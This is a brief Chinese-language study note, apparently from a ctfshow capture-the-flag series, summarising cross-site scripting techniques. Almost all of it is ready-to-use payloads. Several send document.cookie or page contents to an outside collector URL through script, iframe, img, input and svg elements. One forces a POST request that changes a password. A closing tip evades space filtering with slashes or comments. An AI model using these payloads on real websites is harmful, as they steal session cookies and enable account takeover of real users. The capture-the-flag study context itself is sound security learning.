2022/1/5ctfshowXSS小结

测试输入框
用户名
密码等
会写JavaScript外带
burp suite找到处理页面

外带

<script>window.location.href='http://www.yuxuanzhe.com/x.php?1='+document.cookie;</script>

处理后外带

<script>window.open('http://www.yuxuanzhe.com/tmp/flag.txt'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

外带

<iframe	onload="window.open('http://www.yuxuanzhe.com/x.php?1='+document.cookie)"></iframe>

post传参

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

外带

<script>
    var img = document.createElement("img");
    img.src = "http://www.yuxuanzhe.com/x.php/?1=" + document.cookie;
</script>

这个虽然是图片，但还是有效果。这个代码要加载资源就要访问后面的url，无论这个url是否真的是图片，它终究还是get提交了cookie。
其他更多的也是同理

<input onfocus="window.open('http://www.yuxuanzhe.com/x.php/?1=' + document.cookie)" autofocus>

<svg onload="window.open('http://www.yuxuanzhe.com/x.php/?1=' + document.cookie)">

过滤空格可以用/和/**/绕过